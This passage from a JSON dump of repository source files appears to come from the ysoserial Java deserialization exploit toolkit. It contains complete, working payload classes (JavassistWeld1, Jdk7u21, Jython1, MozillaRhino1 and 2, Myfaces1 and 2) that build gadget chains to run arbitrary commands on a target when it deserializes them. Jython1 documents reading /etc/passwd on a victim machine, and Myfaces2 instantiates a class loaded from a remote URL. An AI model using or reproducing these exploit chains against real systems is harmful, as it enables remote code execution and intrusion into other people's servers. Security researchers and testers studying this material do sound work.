impls that could be used\n        AdvisedSupport as = new AdvisedSupport();\n        as.setTarget(payload);\n        InvocationHandler delegateInvocationHandler = (InvocationHandler) Reflections.newInstance(\"org.springframework.aop.framework.JdkDynamicAopProxy\", as);\n        InvocationHandler cdsInvocationHandler = Gadgets.createMemoizedInvocationHandler(Gadgets.createMap(\"getCompositeType\", rt));\n        InvocationHandler invocationHandler = (InvocationHandler) Reflections.newInstance(\"com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl\");\n        ((Map) Reflections.getFieldValue(invocationHandler, \"classToInvocationHandler\")).put(CompositeData.class, cdsInvocationHandler);\n        Reflections.setFieldValue(invocationHandler, \"defaultHandler\", delegateInvocationHandler);\n        final CompositeData cdsProxy = Gadgets.createProxy(invocationHandler, CompositeData.class, ifaces);\n\n        JSONObject jo = new JSONObject();\n        Map m = new HashMap();\n        m.put(\"t\", cdsProxy);\n        Reflections.setFieldValue(jo, \"properties\", m);\n        Reflections.setFieldValue(jo, \"properties\", m);\n        Reflections.setFieldValue(t1, \"dataMap\", jo);\n        Reflections.setFieldValue(t2, \"dataMap\", jo);\n        return Gadgets.makeMap(t1, t2);\n    }\n\n    public static void main ( final String[] args ) throws Exception {\n        PayloadRunner.run(JSON1.class, args);\n    }\n\n}\n"
  },
  {
    "path": "src/main/java/ysoserial/payloads/JavassistWeld1.java",
    "content": "package ysoserial.payloads;\n\nimport com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;\nimport org.jboss.weld.interceptor.builder.InterceptionModelBuilder;\nimport org.jboss.weld.interceptor.builder.MethodReference;\nimport org.jboss.weld.interceptor.proxy.DefaultInvocationContextFactory;\nimport org.jboss.weld.interceptor.proxy.InterceptorMethodHandler;\nimport org.jboss.weld.interceptor.reader.ClassMetadataInterceptorReference;\nimport org.jboss.weld.interceptor.reader.DefaultMethodMetadata;\nimport org.jboss.weld.interceptor.reader.ReflectiveClassMetadata;\nimport org.jboss.weld.interceptor.reader.SimpleInterceptorMetadata;\nimport org.jboss.weld.interceptor.spi.instance.InterceptorInstantiator;\nimport org.jboss.weld.interceptor.spi.metadata.InterceptorReference;\nimport org.jboss.weld.interceptor.spi.metadata.MethodMetadata;\nimport org.jboss.weld.interceptor.spi.model.InterceptionModel;\nimport org.jboss.weld.interceptor.spi.model.InterceptionType;\nimport ysoserial.payloads.annotation.Authors;\nimport ysoserial.payloads.annotation.Dependencies;\nimport ysoserial.payloads.annotation.PayloadTest;\nimport ysoserial.payloads.util.Gadgets;\nimport ysoserial.payloads.util.JavaVersion;\nimport ysoserial.payloads.util.PayloadRunner;\nimport ysoserial.payloads.util.Reflections;\n\nimport java.lang.reflect.Constructor;\nimport java.util.*;\n\n/*\n    by @matthias_kaiser\n*/\n@SuppressWarnings({\"rawtypes\", \"unchecked\"})\n@PayloadTest(precondition = \"isApplicableJavaVersion\")\n@Dependencies({\"javassist:javassist:3.12.1.GA\", \"org.jboss.weld:weld-core:1.1.33.Final\",\n    \"javax.enterprise:cdi-api:1.0-SP1\", \"javax.interceptor:javax.interceptor-api:3.1\",\n    \"org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final\", \"org.slf4j:slf4j-api:1.7.21\" })\n@Authors({ Authors.MATTHIASKAISER })\npublic class JavassistWeld1 implements ObjectPayload<Object> {\n    public static boolean isApplicableJavaVersion() {\n        return JavaVersion.isAtLeast(7);\n    }\n\n    public Object getObject(final String command) throws Exception {\n\n        final Object gadget = Gadgets.createTemplatesImpl(command);\n\n        InterceptionModelBuilder builder = InterceptionModelBuilder.newBuilderFor(HashMap.class);\n        ReflectiveClassMetadata metadata = (ReflectiveClassMetadata) ReflectiveClassMetadata.of(HashMap.class);\n        InterceptorReference interceptorReference = ClassMetadataInterceptorReference.of(metadata);\n\n        Set<InterceptionType> s = new HashSet<InterceptionType>();\n        s.add(org.jboss.weld.interceptor.spi.model.InterceptionType.POST_ACTIVATE);\n\n        Constructor defaultMethodMetadataConstructor = DefaultMethodMetadata.class.getDeclaredConstructor(Set.class, MethodReference.class);\n        Reflections.setAccessible(defaultMethodMetadataConstructor);\n        MethodMetadata methodMetadata = (MethodMetadata) defaultMethodMetadataConstructor.newInstance(s,\n                MethodReference.of(TemplatesImpl.class.getMethod(\"newTransformer\"), true));\n\n        List list = new ArrayList();\n        list.add(methodMetadata);\n        Map<org.jboss.weld.interceptor.spi.model.InterceptionType, List<MethodMetadata>> hashMap = new HashMap<org.jboss.weld.interceptor.spi.model.InterceptionType, List<MethodMetadata>>();\n\n        hashMap.put(org.jboss.weld.interceptor.spi.model.InterceptionType.POST_ACTIVATE, list);\n        SimpleInterceptorMetadata simpleInterceptorMetadata = new SimpleInterceptorMetadata(interceptorReference, true, hashMap);\n\n        builder.interceptAll().with(simpleInterceptorMetadata);\n\n        InterceptionModel model = builder.build();\n\n        HashMap map = new HashMap();\n        map.put(\"ysoserial\", \"ysoserial\");\n\n        DefaultInvocationContextFactory factory = new DefaultInvocationContextFactory();\n\n        InterceptorInstantiator interceptorInstantiator = new InterceptorInstantiator() {\n\n            public Object createFor(InterceptorReference paramInterceptorReference) {\n\n                return gadget;\n            }\n        };\n\n        return new InterceptorMethodHandler(map, metadata, model, interceptorInstantiator, factory);\n\n    }\n\n\n    public static void main(final String[] args) throws Exception {\n        PayloadRunner.run(JavassistWeld1.class, args);\n    }\n}\n"
  },
  {
    "path": "src/main/java/ysoserial/payloads/Jdk7u21.java",
    "content": "package ysoserial.payloads;\n\nimport java.lang.reflect.InvocationHandler;\nimport java.util.HashMap;\nimport java.util.LinkedHashSet;\n\nimport javax.xml.transform.Templates;\n\nimport ysoserial.payloads.annotation.Authors;\nimport ysoserial.payloads.annotation.Dependencies;\nimport ysoserial.payloads.annotation.PayloadTest;\nimport ysoserial.payloads.util.Gadgets;\nimport ysoserial.payloads.util.JavaVersion;\nimport ysoserial.payloads.util.PayloadRunner;\nimport ysoserial.payloads.util.Reflections;\n\n\n/*\n\nGadget chain that works against JRE 1.7u21 and earlier. Payload generation has\nthe same JRE version requirements.\n\nSee: https://gist.github.com/frohoff/24af7913611f8406eaf3\n\nCall tree:\n\nLinkedHashSet.readObject()\n  LinkedHashSet.add()\n    ...\n      TemplatesImpl.hashCode() (X)\n  LinkedHashSet.add()\n    ...\n      Proxy(Templates).hashCode() (X)\n        AnnotationInvocationHandler.invoke() (X)\n          AnnotationInvocationHandler.hashCodeImpl() (X)\n            String.hashCode() (0)\n            AnnotationInvocationHandler.memberValueHashCode() (X)\n              TemplatesImpl.hashCode() (X)\n      Proxy(Templates).equals()\n        AnnotationInvocationHandler.invoke()\n          AnnotationInvocationHandler.equalsImpl()\n            Method.invoke()\n              ...\n                TemplatesImpl.getOutputProperties()\n                  TemplatesImpl.newTransformer()\n                    TemplatesImpl.getTransletInstance()\n                      TemplatesImpl.defineTransletClasses()\n                        ClassLoader.defineClass()\n                        Class.newInstance()\n                          ...\n                            MaliciousClass.<clinit>()\n                              ...\n                                Runtime.exec()\n */\n\n@SuppressWarnings({ \"rawtypes\", \"unchecked\" })\n@PayloadTest ( precondition = \"isApplicableJavaVersion\")\n@Dependencies()\n@Authors({ Authors.FROHOFF })\npublic class Jdk7u21 implements ObjectPayload<Object> {\n\n\tpublic Object getObject(final String command) throws Exception {\n\t\tfinal Object templates = Gadgets.createTemplatesImpl(command);\n\n\t\tString zeroHashCodeStr = \"f5a5a608\";\n\n\t\tHashMap map = new HashMap();\n\t\tmap.put(zeroHashCodeStr, \"foo\");\n\n\t\tInvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);\n\t\tReflections.setFieldValue(tempHandler, \"type\", Templates.class);\n\t\tTemplates proxy = Gadgets.createProxy(tempHandler, Templates.class);\n\n\t\tLinkedHashSet set = new LinkedHashSet(); // maintain order\n\t\tset.add(templates);\n\t\tset.add(proxy);\n\n\t\tReflections.setFieldValue(templates, \"_auxClasses\", null);\n\t\tReflections.setFieldValue(templates, \"_class\", null);\n\n\t\tmap.put(zeroHashCodeStr, templates); // swap in real object\n\n\t\treturn set;\n\t}\n\n\tpublic static boolean isApplicableJavaVersion() {\n\t    JavaVersion v = JavaVersion.getLocalVersion();\n\t    return v != null && (v.major < 7 || (v.major == 7 && v.update <= 21));\n\t}\n\n\tpublic static void main(final String[] args) throws Exception {\n\t\tPayloadRunner.run(Jdk7u21.class, args);\n\t}\n\n}\n"
  },
  {
    "path": "src/main/java/ysoserial/payloads/Jython1.java",
    "content": "package ysoserial.payloads;\n\nimport org.apache.commons.io.FileUtils;\nimport org.python.core.*;\n\nimport java.math.BigInteger;\nimport java.io.File;\nimport java.lang.reflect.Proxy;\nimport java.util.Arrays;\nimport java.util.Comparator;\nimport java.util.PriorityQueue;\n\nimport ysoserial.payloads.annotation.Authors;\nimport ysoserial.payloads.util.Reflections;\nimport ysoserial.payloads.annotation.Dependencies;\nimport ysoserial.payloads.annotation.PayloadTest;\nimport ysoserial.payloads.util.PayloadRunner;\n\n/**\n * Credits: Alvaro Munoz (@pwntester) and Christian Schneider (@cschneider4711)\n *\n * This version of Jython1 writes a python script on the victim machine and\n * executes it. The format of the parameters is:\n *\n * <local path>;<remote path>\n *\n * Where local path is the python script's location on the attack box and\n * remote path is the location where the script will be written/executed from.\n * For example:\n *\n * \"/home/albino_lobster/read_etc_passwd.py;/tmp/jython1.py\"\n *\n * In the above example, if \"read_etc_passwd.py\" simply contained the string:\n *\n * raise Exception(open('/etc/passwd', 'r').read())\n *\n * Then, when deserialized, the script will read in /etc/passwd and raise an\n * exception with its contents (which could be useful if the target returns\n * exception information).\n */\n\n@PayloadTest(skip=\"non RCE\")\n@SuppressWarnings({ \"rawtypes\", \"unchecked\", \"restriction\" })\n@Dependencies({ \"org.python:jython-standalone:2.5.2\" })\n@Authors({ Authors.PWNTESTER, Authors.CSCHNEIDER4711 })\npublic class Jython1 extends PayloadRunner implements ObjectPayload<PriorityQueue> {\n\n    public PriorityQueue getObject(String command) throws Exception {\n\n        String[] paths = command.split(\";\");\n        if (paths.length != 2) {\n            throw new IllegalArgumentException(\"Unsupported command \" + command + \" \" + Arrays.toString(paths));\n        }\n\n        // Set payload parameters\n        String python_code = FileUtils.readFileToString(new File(paths[0]), \"UTF-8\");\n\n        // Python bytecode to write a file on disk and execute it\n        String code =\n              \"740000\" + //0 LOAD_GLOBAL               0 (open)\n              \"640100\" + //3 LOAD_CONST                1 (remote path)\n              \"640200\" + //6 LOAD_CONST                2 ('w+')\n              \"830200\" + //9 CALL_FUNCTION             2\n              \"7D0000\" + //12 STORE_FAST               0 (file)\n\n              \"7C0000\" + //15 LOAD_FAST                0 (file)\n              \"690100\" + //18 LOAD_ATTR                1 (write)\n              \"640300\" + //21 LOAD_CONST               3 (python code)\n              \"830100\" + //24 CALL_FUNCTION            1\n              \"01\" +     //27 POP_TOP\n\n              \"7C0000\" + //28 LOAD_FAST                0 (file)\n              \"690200\" + //31 LOAD_ATTR                2 (close)\n              \"830000\" + //34 CALL_FUNCTION            0\n              \"01\" +     //37 POP_TOP\n\n              \"740300\" + //38 LOAD_GLOBAL              3 (execfile)\n              \"640100\" + //41 LOAD_CONST               1 (remote path)\n              \"830100\" + //44 CALL_FUNCTION            1\n              \"01\" +     //47 POP_TOP\n              \"640000\" + //48 LOAD_CONST               0 (None)\n              \"53\";      //51 RETURN_VALUE\n\n        // Helping consts and names\n        PyObject[] consts = new PyObject[]{new PyString(\"\"), new PyString(paths[1]), new PyString(\"w+\"), new PyString(python_code)};\n        String[] names = new String[]{\"open\", \"write\", \"close\", \"execfile\"};\n\n        // Generating PyBytecode wrapper for our python bytecode\n        PyBytecode codeobj = new PyBytecode(2, 2, 10, 64, \"\", consts, names, new String[]{ \"\", \"\" }, \"noname\", \"<module>\", 0, \"\");\n        Reflections.setFieldValue(codeobj, \"co_code\", new BigInteger(code, 16).toByteArray());\n\n        // Create a PyFunction Invocation handler that will call our python bytecode when intercepting any method\n        PyFunction handler = new PyFunction(new PyStringMap(), null, codeobj);\n\n        // Prepare Trigger Gadget\n        Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class<?>[]{Comparator.class}, handler);\n        PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, comparator);\n        Object[] queue = new Object[] {1,1};\n        Reflections.setFieldValue(priorityQueue, \"queue\", queue);\n        Reflections.setFieldValue(priorityQueue, \"size\", 2);\n\n        return priorityQueue;\n    }\n\n    public static void main(final String[] args) throws Exception {\n        PayloadRunner.run(Jython1.class, args);\n    }\n}\n"
  },
  {
    "path": "src/main/java/ysoserial/payloads/MozillaRhino1.java",
    "content": "package ysoserial.payloads;\n\nimport com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;\nimport org.mozilla.javascript.*;\nimport ysoserial.payloads.annotation.Authors;\nimport ysoserial.payloads.annotation.Dependencies;\nimport ysoserial.payloads.annotation.PayloadTest;\nimport ysoserial.payloads.util.Gadgets;\nimport ysoserial.payloads.util.JavaVersion;\nimport ysoserial.payloads.util.PayloadRunner;\nimport ysoserial.payloads.util.Reflections;\n\nimport javax.management.BadAttributeValueExpException;\nimport java.lang.reflect.Constructor;\nimport java.lang.reflect.Field;\nimport java.lang.reflect.Method;\n\n/*\n    by @matthias_kaiser\n*/\n@SuppressWarnings({\"rawtypes\", \"unchecked\"})\n@PayloadTest( precondition = \"isApplicableJavaVersion\")\n@Dependencies({\"rhino:js:1.7R2\"})\n@Authors({ Authors.MATTHIASKAISER })\npublic class MozillaRhino1 implements ObjectPayload<Object> {\n\n    public Object getObject(final String command) throws Exception {\n\n        Class nativeErrorClass = Class.forName(\"org.mozilla.javascript.NativeError\");\n        Constructor nativeErrorConstructor = nativeErrorClass.getDeclaredConstructor();\n        Reflections.setAccessible(nativeErrorConstructor);\n        IdScriptableObject idScriptableObject = (IdScriptableObject) nativeErrorConstructor.newInstance();\n\n        Context context = Context.enter();\n\n        NativeObject scriptableObject = (NativeObject) context.initStandardObjects();\n\n        Method enterMethod = Context.class.getDeclaredMethod(\"enter\");\n        NativeJavaMethod method = new NativeJavaMethod(enterMethod, \"name\");\n        idScriptableObject.setGetterOrSetter(\"name\", 0, method, false);\n\n        Method newTransformer = TemplatesImpl.class.getDeclaredMethod(\"newTransformer\");\n        NativeJavaMethod nativeJavaMethod = new NativeJavaMethod(newTransformer, \"message\");\n        idScriptableObject.setGetterOrSetter(\"message\", 0, nativeJavaMethod, false);\n\n        Method getSlot = ScriptableObject.class.getDeclaredMethod(\"getSlot\", String.class, int.class, int.class);\n        Reflections.setAccessible(getSlot);\n        Object slot = getSlot.invoke(idScriptableObject, \"name\", 0, 1);\n        Field getter = slot.getClass().getDeclaredField(\"getter\");\n        Reflections.setAccessible(getter);\n\n        Class memberboxClass = Class.forName(\"org.mozilla.javascript.MemberBox\");\n        Constructor memberboxClassConstructor = memberboxClass.getDeclaredConstructor(Method.class);\n        Reflections.setAccessible(memberboxClassConstructor);\n        Object memberboxes = memberboxClassConstructor.newInstance(enterMethod);\n        getter.set(slot, memberboxes);\n\n        NativeJavaObject nativeObject = new NativeJavaObject(scriptableObject, Gadgets.createTemplatesImpl(command), TemplatesImpl.class);\n        idScriptableObject.setPrototype(nativeObject);\n\n        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);\n        Field valField = badAttributeValueExpException.getClass().getDeclaredField(\"val\");\n        Reflections.setAccessible(valField);\n        valField.set(badAttributeValueExpException, idScriptableObject);\n\n        return badAttributeValueExpException;\n    }\n\n    public static void main(final String[] args) throws Exception {\n        PayloadRunner.run(MozillaRhino1.class, args);\n    }\n\n    public static boolean isApplicableJavaVersion() {\n        return JavaVersion.isBadAttrValExcReadObj();\n    }\n\n}\n"
  },
  {
    "path": "src/main/java/ysoserial/payloads/MozillaRhino2.java",
    "content": "package ysoserial.payloads;\n\nimport org.mozilla.javascript.*;\nimport org.mozilla.javascript.tools.shell.Environment;\nimport ysoserial.payloads.annotation.Authors;\nimport ysoserial.payloads.annotation.Dependencies;\nimport ysoserial.payloads.util.Gadgets;\nimport ysoserial.payloads.util.PayloadRunner;\nimport ysoserial.payloads.util.Reflections;\n\nimport java.io.IOException;\nimport java.io.ObjectOutputStream;\nimport java.lang.reflect.Method;\nimport java.util.Hashtable;\nimport java.util.Map;\n\n/*\n\n    Works on rhino 1.6R6 and above & doesn't depend on BadAttributeValueExpException's readObject\n\n    Chain:\n\n    NativeJavaObject.readObject()\n      JavaAdapter.readAdapterObject()\n        ObjectInputStream.readObject()\n          ...\n            NativeJavaObject.readObject()\n              JavaAdapter.readAdapterObject()\n                JavaAdapter.getAdapterClass()\n                  JavaAdapter.getObjectFunctionNames()\n                    ScriptableObject.getProperty()\n                        ScriptableObject.get()\n                          ScriptableObject.getImpl()\n                            Method.invoke()\n                              Context.enter()\n        JavaAdapter.getAdapterClass()\n          JavaAdapter.getObjectFunctionNames()\n            ScriptableObject.getProperty()\n              NativeJavaArray.get()\n                NativeJavaObject.get()\n                  JavaMembers.get()\n                    Method.invoke()\n                      TemplatesImpl.getOutputProperties()\n                        ...\n\n    by @_tint0\n\n*/\n@SuppressWarnings({\"rawtypes\", \"unchecked\"})\n@Dependencies({\"rhino:js:1.7R2\"})\n@Authors({ Authors.TINT0 })\npublic class MozillaRhino2 implements ObjectPayload<Object> {\n\n    public Object getObject( String command) throws Exception {\n        ScriptableObject dummyScope = new Environment();\n        Map<Object, Object> associatedValues = new Hashtable<Object, Object>();\n        associatedValues.put(\"ClassCache\", Reflections.createWithoutConstructor(ClassCache.class));\n        Reflections.setFieldValue(dummyScope, \"associatedValues\", associatedValues);\n\n        Object initContextMemberBox = Reflections.createWithConstructor(\n            Class.forName(\"org.mozilla.javascript.MemberBox\"),\n            (Class<Object>)Class.forName(\"org.mozilla.javascript.MemberBox\"),\n            new Class[] {Method.class},\n            new Object[] {Context.class.getMethod(\"enter\")});\n\n        ScriptableObject initContextScriptableObject = new Environment();\n        Method makeSlot = ScriptableObject.class.getDeclaredMethod(\"accessSlot\", String.class, int.class, int.class);\n        Reflections.setAccessible(makeSlot);\n        Object slot = makeSlot.invoke(initContextScriptableObject, \"foo\", 0, 4);\n        Reflections.setFieldValue(slot, \"getter\", initContextMemberBox);\n\n        NativeJavaObject initContextNativeJavaObject = new NativeJavaObject();\n        Reflections.setFieldValue(initContextNativeJavaObject, \"parent\", dummyScope);\n        Reflections.setFieldValue(initContextNativeJavaObject, \"isAdapter\", true);\n        Reflections.setFieldValue(initContextNativeJavaObject, \"adapter_writeAdapterObject\",\n            this.getClass().getMethod(\"customWriteAdapterObject\", Object.class, ObjectOutputStream.class));\n        Reflections.setFieldValue(initContextNativeJavaObject, \"javaObject\", initContextScriptableObject);\n\n        ScriptableObject scriptableObject = new Environment();\n        scriptableObject.setParentScope(initContextNativeJavaObject);\n        makeSlot.invoke(scriptableObject, \"outputProperties\", 0, 2);\n\n        NativeJavaArray nativeJavaArray = Reflections.createWithoutConstructor(NativeJavaArray.class);\n        Reflections.setFieldValue(nativeJavaArray, \"parent\", dummyScope);\n        Reflections.setFieldValue(nativeJavaArray, \"javaObject\", Gadgets.createTemplatesImpl(command));\n        nativeJavaArray.setPrototype(scriptableObject);\n        Reflections.setFieldValue(nativeJavaArray, \"prototype\", scriptableObject);\n\n        NativeJavaObject nativeJavaObject = new NativeJavaObject();\n        Reflections.setFieldValue(nativeJavaObject, \"parent\", dummyScope);\n        Reflections.setFieldValue(nativeJavaObject, \"isAdapter\", true);\n        Reflections.setFieldValue(nativeJavaObject, \"adapter_writeAdapterObject\",\n            this.getClass().getMethod(\"customWriteAdapterObject\", Object.class, ObjectOutputStream.class));\n        Reflections.setFieldValue(nativeJavaObject, \"javaObject\", nativeJavaArray);\n\n        return nativeJavaObject;\n    }\n\n    public static void customWriteAdapterObject(Object javaObject, ObjectOutputStream out) throws IOException {\n        out.writeObject(\"java.lang.Object\");\n        out.writeObject(new String[0]);\n        out.writeObject(javaObject);\n    }\n\n    public static void main(final String[] args) throws Exception {\n        PayloadRunner.run(MozillaRhino2.class, args);\n    }\n\n}\n"
  },
  {
    "path": "src/main/java/ysoserial/payloads/Myfaces1.java",
    "content": "package ysoserial.payloads;\n\n\n\nimport javax.el.ELContext;\nimport javax.el.ExpressionFactory;\nimport javax.el.ValueExpression;\nimport javax.servlet.ServletContext;\nimport javax.servlet.ServletRequest;\nimport javax.servlet.ServletResponse;\n\nimport org.apache.myfaces.context.servlet.FacesContextImpl;\nimport org.apache.myfaces.context.servlet.FacesContextImplBase;\nimport org.apache.myfaces.el.CompositeELResolver;\nimport org.apache.myfaces.el.unified.FacesELContext;\nimport org.apache.myfaces.view.facelets.el.ValueExpressionMethodExpression;\n\nimport ysoserial.payloads.annotation.Authors;\nimport ysoserial.payloads.annotation.PayloadTest;\nimport ysoserial.payloads.util.Gadgets;\nimport ysoserial.payloads.util.PayloadRunner;\nimport ysoserial.payloads.util.Reflections;\n\n\n/**\n *\n * ValueExpressionImpl.getValue(ELContext)\n * ValueExpressionMethodExpression.getMethodExpression(ELContext)\n * ValueExpressionMethodExpression.getMethodExpression()\n * ValueExpressionMethodExpression.hashCode()\n * HashMap<K,V>.hash(Object)\n * HashMap<K,V>.readObject(ObjectInputStream)\n *\n * Arguments:\n * - an EL expression to execute\n *\n * Requires:\n * - MyFaces\n * - Matching EL impl (setup POM deps accordingly, so that the ValueExpression can be deserialized)\n *\n * @author mbechler\n */\n@PayloadTest(skip=\"Requires running MyFaces, no direct execution\")\n@Authors({ Authors.MBECHLER })\npublic class Myfaces1 implements ObjectPayload<Object>, DynamicDependencies {\n\n    public Object getObject ( String command ) throws Exception {\n        return makeExpressionPayload(command);\n    }\n\n\n    public static String[] getDependencies () {\n        if ( System.getProperty(\"el\") == null || \"apache\".equals(System.getProperty(\"el\")) ) {\n            return new String[] {\n                \"org.apache.myfaces.core:myfaces-impl:2.2.9\", \"org.apache.myfaces.core:myfaces-api:2.2.9\",\n                \"org.mortbay.jasper:apache-el:8.0.27\",\n                \"javax.servlet:javax.servlet-api:3.1.0\",\n\n                // deps for mocking the FacesContext\n                \"org.mockito:mockito-core:1.10.19\", \"org.hamcrest:hamcrest-core:1.1\", \"org.objenesis:objenesis:2.1\"\n            };\n        } else if ( \"juel\".equals(System.getProperty(\"el\")) ) {\n            return new String[] {\n                \"org.apache.myfaces.core:myfaces-impl:2.2.9\", \"org.apache.myfaces.core:myfaces-api:2.2.9\",\n                \"de.odysseus.juel:juel-impl:2.2.7\", \"de.odysseus.juel:juel-api:2.2.7\",\n                \"javax.servlet:javax.servlet-api:3.1.0\",\n\n                // deps for mocking the FacesContext\n                \"org.mockito:mockito-core:1.10.19\", \"org.hamcrest:hamcrest-core:1.1\", \"org.objenesis:objenesis:2.1\"\n            };\n        }\n\n        throw new IllegalArgumentException(\"Invalid el type \" + System.getProperty(\"el\"));\n    }\n\n    public static Object makeExpressionPayload ( String expr ) throws IllegalArgumentException, IllegalAccessException, Exception  {\n        FacesContextImpl fc = new FacesContextImpl((ServletContext) null, (ServletRequest) null, (ServletResponse) null);\n        ELContext elContext = new FacesELContext(new CompositeELResolver(), fc);\n        Reflections.getField(FacesContextImplBase.class, \"_elContext\").set(fc, elContext);\n        ExpressionFactory expressionFactory = ExpressionFactory.newInstance();\n\n        ValueExpression ve1 = expressionFactory.createValueExpression(elContext, expr, Object.class);\n        ValueExpressionMethodExpression e = new ValueExpressionMethodExpression(ve1);\n        ValueExpression ve2 = expressionFactory.createValueExpression(elContext, \"${true}\", Object.class);\n        ValueExpressionMethodExpression e2 = new ValueExpressionMethodExpression(ve2);\n\n        return Gadgets.makeMap(e2, e);\n    }\n\n\n    public static void main ( final String[] args ) throws Exception {\n        PayloadRunner.run(Myfaces1.class, args);\n    }\n}\n"
  },
  {
    "path": "src/main/java/ysoserial/payloads/Myfaces2.java",
    "content": "package ysoserial.payloads;\n\n\n\nimport ysoserial.payloads.annotation.Authors;\nimport ysoserial.payloads.annotation.PayloadTest;\nimport ysoserial.payloads.util.JavaVersion;\nimport ysoserial.payloads.util.PayloadRunner;\n\n\n/**\n *\n * ValueExpressionImpl.getValue(ELContext)\n * ValueExpressionMethodExpression.getMethodExpression(ELContext)\n * ValueExpressionMethodExpression.getMethodExpression()\n * ValueExpressionMethodExpression.hashCode()\n * HashMap<K,V>.hash(Object)\n * HashMap<K,V>.readObject(ObjectInputStream)\n *\n * Arguments:\n * - base_url:classname\n *\n * Yields:\n * - Instantiation of remotely loaded class\n *\n * Requires:\n * - MyFaces\n * - Matching EL impl (setup POM deps accordingly, so that the ValueExpression can be deserialized)\n *\n * @author mbechler\n */\n@PayloadTest(harness=\"ysoserial.test.payloads.MyfacesTest\", precondition = \"isApplicableJavaVersion\")\n@Authors({ Authors.MBECHLER })\npublic class Myfaces2 implements ObjectPayload<Object>, DynamicDependencies {\n    public static boolean isApplicableJavaVersion() {\n        return JavaVersion.isAtLeast(7);\n    }\n\n    public static String[] getDependencies () {\n        return Myfaces1.getDependencies();\n    }\n\n\n    public Object getObject ( String command ) throws Exception {\n        int sep = command.lastIndexOf(':');\n        if ( sep < 0 ) {\n            throw new IllegalArgumentException(\"Command format is: <base_url>:<classname>\");\n        }\n\n        String url = command.substring(0, sep);\n        String className = command.substring(sep + 1);\n\n        // based on http://danamodio.com/appsec/research/spring-remote-code-with-expression-language-injection/\n        String expr = \"${request.setAttribute('arr',''.getClass().forName('java.util.ArrayList').newInstance())}\";\n\n        // if we add fewer than the actual classloaders we end up with a null entry\n        for ( int i = 0; i < 100; i++ ) {\n            expr += \"${request.getAttribute('arr').add(request.servletContext.getResource('/').toURI().create('\" + url + \"').toURL())}\";\n        }\n        expr += \"${request.getClass().getClassLoader().newInstance(request.getAttribute('arr')\"\n                + \".toArray(request.getClass().getClassLoader().getURLs())).loadClass('\" + className + \"').newInstance()}\";\n\n        return Myfaces1.makeExpressionPayload(expr);\n    }\n\n\n    public static void main ( final String[] args ) throws Exception {\n        PayloadRunner.run(Myfaces2.class, args);\n    }\n}\n"
  },
  {
    "path": "src/main/java/ysoserial/payloads/ObjectPayload.java",
    "content": "package ysoserial.payloads;\n\n\nimport java.lang.reflect.Modifier;\nimport java.util.Iterator;\nimport java.util.Set;\n\nimport org.reflections.Reflections;\n\nimport ysoserial.GeneratePayload;\n\n\n@SuppressWarnings ( \"rawtypes\" )\npublic interface ObjectPayload <T> {\n\n    /*\n     * return armed payload object to be serialized that will execute specified\n     * command on deserialization\n     */\n    public T getObject ( String command ) throws Exception;\n\n    public static class Utils {\n\n        // get payload classes by classpath scanning\n        public static Set<Class<? extends ObjectPayload>> getPayloadClasses () {\n            final Reflections reflections = new Reflections(ObjectPayload.class.getPackage().getName());\n            final Set<Class<? extends ObjectPayload>> payloadTypes = reflections.getSubTypesOf(ObjectPayload.class);\n            for ( Iterator<Class<? extends ObjectPayload>> iterator = payloadTypes.iterator(); iterator.hasNext(); ) {\n                Class<? extends ObjectPayload> pc = iterator.next();\n                if ( pc.isInterface() || Modifier.isAbstract(pc.getModifiers()) ) {\n                    iterator.remove();\n                }\n            }\n            return payloadTypes;\n        }\n\n\n        @SuppressWarnings ( \"unchecked\" )\n        public static Class<? extends ObjectPayload> getPayloadClass ( final String className ) {\n            Class<? extends ObjectPayload> clazz = null;\n            try {\n                clazz = (Class<? extends ObjectPayload>) Class.forName(className);\n            }\n            catch ( Exception e1 ) {}\n            if ( clazz == null ) {\n                try {\n                    return clazz = (Class<? extends ObjectPayload>) Class\n                            .forName(GeneratePayload.class.getPackage().getName() + \".payloads.\" + className);\n                }\n                catch ( Exception e2 ) {}\n            }\n            if ( clazz != null && !ObjectPayload.class.isAssignableFrom(clazz) ) {\n                clazz = null;\n            }\n            return clazz;\n        }\n\n\n        public static Object makePayloadObject ( String payloadType, String payloadArg ) {\n            final Class<? extends ObjectPayload> payloadClass = getPayloadClass(payloadType);\n            if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) {\n                throw new IllegalArgumentException(\"Invalid payload type '\" + payloadType + \"'\");\n\n            }\n\n            final Object payloadObject;\n            try {\n                final ObjectPayload payload = payloadClass.newInstance();\n                payloadObject = payload.getObject(payloadArg);\n            }\n            catch ( Exception e ) {\n                throw new IllegalArgumentException(\"Failed to construct payload\", e);\n            }\n            return payloadObject;\n        }\n\n\n        @SuppressWarnings ( \"unchecked\" )\n        public static void releasePayload ( ObjectPayload payload, Object object ) throws Exception {\n            if ( payload instanceof ReleaseableObjectPayload ) {\n                ( (ReleaseableObjectPayload) payload ).release(object);\n            }\n        }\n\n\n        public static void releasePayload ( String payloadType, Object payloadObject ) {\n            final Class<? extends ObjectPayload> payloadClass = getPayloadClass(payloadType);\n            if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) {\n                throw new IllegalArgumentException(\"Invalid payload type '\" + payloadType + \"'\");\n\n            }\n\n            try {\n                final ObjectPayload payload = payloadClass.newInstance();\n                releasePayload(payload, payloadObject);\n            }\n            catch ( Exception e ) {\n                e.printStackTrace();\n            }\n\n        }\n    }\n}\n"
  },
  {
    "path": "src/main/java/ysoserial/payloads/ROME.java",
